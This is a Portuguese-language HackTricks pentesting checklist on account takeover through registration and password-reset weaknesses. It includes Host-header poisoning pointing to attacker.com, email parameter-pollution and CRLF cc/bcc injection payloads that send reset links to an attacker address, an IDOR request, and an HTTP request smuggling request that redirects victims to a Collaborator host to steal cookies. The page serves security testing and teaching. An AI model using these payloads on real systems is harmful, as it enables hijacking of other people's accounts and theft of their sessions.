Vulnerabilidades de Registro e Tomada de Controle

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Tomada de Controle de Registro

Registro Duplicado

  • Tente gerar usando um nome de usuĆ”rio existente
  • Verifique variando o email:
  • maiĆŗsculas
  • +1@
  • adicione algum ponto no email
  • caracteres especiais no nome do email (%00, %09, %20)
  • Coloque caracteres pretos apĆ³s o email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

EnumeraĆ§Ć£o de Nomes de UsuĆ”rio

Verifique se vocĆŖ consegue descobrir quando um nome de usuĆ”rio jĆ” foi registrado dentro da aplicaĆ§Ć£o.

PolĆ­tica de Senhas

Ao criar um usuĆ”rio, verifique a polĆ­tica de senhas (verifique se vocĆŖ pode usar senhas fracas).
Nesse caso, vocĆŖ pode tentar forƧar a autenticaĆ§Ć£o de credenciais.

InjeĆ§Ć£o de SQL

Verifique esta pƔgina para aprender como tentar tomadas de controle de conta ou extrair informaƧƵes via InjeƧƵes de SQL em formulƔrios de registro.

Tomadas de Controle Oauth

OAuth to Account takeover

Vulnerabilidades SAML

SAML Attacks

Alterar Email

Quando registrado, tente alterar o email e verifique se essa alteraĆ§Ć£o Ć© corretamente validada ou se pode alterĆ”-lo para emails arbitrĆ”rios.

Mais VerificaƧƵes

  • Verifique se vocĆŖ pode usar emails descartĆ”veis
  • Senha Longa (>200) leva a DoS
  • Verifique limites de taxa na criaĆ§Ć£o de contas
  • Use username@burp_collab.net e analise o callback

Tomada de Controle de RedefiniĆ§Ć£o de Senha

Vazamento de Token de RedefiniĆ§Ć£o de Senha Via Referenciador

  1. Solicite a redefiniĆ§Ć£o de senha para seu endereƧo de email
  2. Clique no link de redefiniĆ§Ć£o de senha
  3. NĆ£o altere a senha
  4. Clique em qualquer site de terceiros (ex: Facebook, Twitter)
  5. Intercepte a solicitaĆ§Ć£o no proxy Burp Suite
  6. Verifique se o cabeƧalho referer estĆ” vazando o token de redefiniĆ§Ć£o de senha.

Envenenamento de RedefiniĆ§Ć£o de Senha

  1. Intercepte a solicitaĆ§Ć£o de redefiniĆ§Ć£o de senha no Burp Suite
  2. Adicione ou edite os seguintes cabeƧalhos no Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Encaminhe a solicitaĆ§Ć£o com o cabeƧalho modificado
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Procure uma URL de redefiniĆ§Ć£o de senha com base no cabeƧalho host como: https://attacker.com/reset-password.php?token=TOKEN

RedefiniĆ§Ć£o de Senha Via ParĆ¢metro de Email

powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR em ParĆ¢metros de API

  1. O atacante deve fazer login com sua conta e ir para a funcionalidade Alterar senha.
  2. Inicie o Burp Suite e intercepte a solicitaĆ§Ć£o.
  3. Envie para a aba de repetiĆ§Ć£o e edite os parĆ¢metros: User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token de RedefiniĆ§Ć£o de Senha Fraco

O token de redefiniĆ§Ć£o de senha deve ser gerado aleatoriamente e ser Ćŗnico a cada vez.
Tente determinar se o token expira ou se Ć© sempre o mesmo; em alguns casos, o algoritmo de geraĆ§Ć£o Ć© fraco e pode ser adivinhado. As seguintes variĆ”veis podem ser usadas pelo algoritmo.

  • Timestamp
  • UserID
  • Email do UsuĆ”rio
  • Primeiro e ƚltimo Nome
  • Data de Nascimento
  • Criptografia
  • Apenas NĆŗmeros
  • SequĆŖncia de token pequena (caracteres entre [A-Z,a-z,0-9])
  • ReutilizaĆ§Ć£o de token
  • Data de expiraĆ§Ć£o do token

Vazamento de Token de RedefiniĆ§Ć£o de Senha

  1. Acione um pedido de redefiniĆ§Ć£o de senha usando a API/UI para um email especĆ­fico, por exemplo: test@mail.com
  2. Inspecione a resposta do servidor e verifique por resetToken
  3. Em seguida, use o token em uma URL como https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

RedefiniĆ§Ć£o de Senha Via ColisĆ£o de Nome de UsuĆ”rio

  1. Registre-se no sistema com um nome de usuĆ”rio idĆŖntico ao nome de usuĆ”rio da vĆ­tima, mas com espaƧos em branco inseridos antes e/ou depois do nome de usuĆ”rio. por exemplo: "admin "
  2. Solicite uma redefiniĆ§Ć£o de senha com seu nome de usuĆ”rio malicioso.
  3. Use o token enviado para seu email e redefina a senha da vĆ­tima.
  4. Conecte-se Ć  conta da vĆ­tima com a nova senha.

A plataforma CTFd era vulnerƔvel a esse ataque.
Veja: CVE-2020-7245

Tomada de Conta Via Cross Site Scripting

  1. Encontre um XSS dentro da aplicaĆ§Ć£o ou de um subdomĆ­nio se os cookies estiverem restritos ao domĆ­nio pai: *.domain.com
  2. Vaze o cookie de sessƵes atual.
  3. Autentique-se como o usuƔrio usando o cookie.

Tomada de Conta Via HTTP Request Smuggling

1. Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crie uma solicitaĆ§Ć£o que sobrescreva o POST / HTTP/1.1 com os seguintes dados:
GET http://something.burpcollaborator.net HTTP/1.1 X: com o objetivo de redirecionar as vĆ­timas para burpcollab e roubar seus cookies
3. A solicitaĆ§Ć£o final pode parecer com o seguinte

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone relata a exploraĆ§Ć£o deste bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Tomada de Conta via CSRF

  1. Crie um payload para o CSRF, por exemplo: ā€œformulĆ”rio HTML com envio automĆ”tico para uma alteraĆ§Ć£o de senhaā€
  2. Envie o payload

Tomada de Conta via JWT

JSON Web Token pode ser usado para autenticar um usuƔrio.

  • Edite o JWT com outro ID de UsuĆ”rio / Email
  • Verifique a assinatura fraca do JWT

JWT Vulnerabilities (Json Web Tokens)

ReferĆŖncias

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks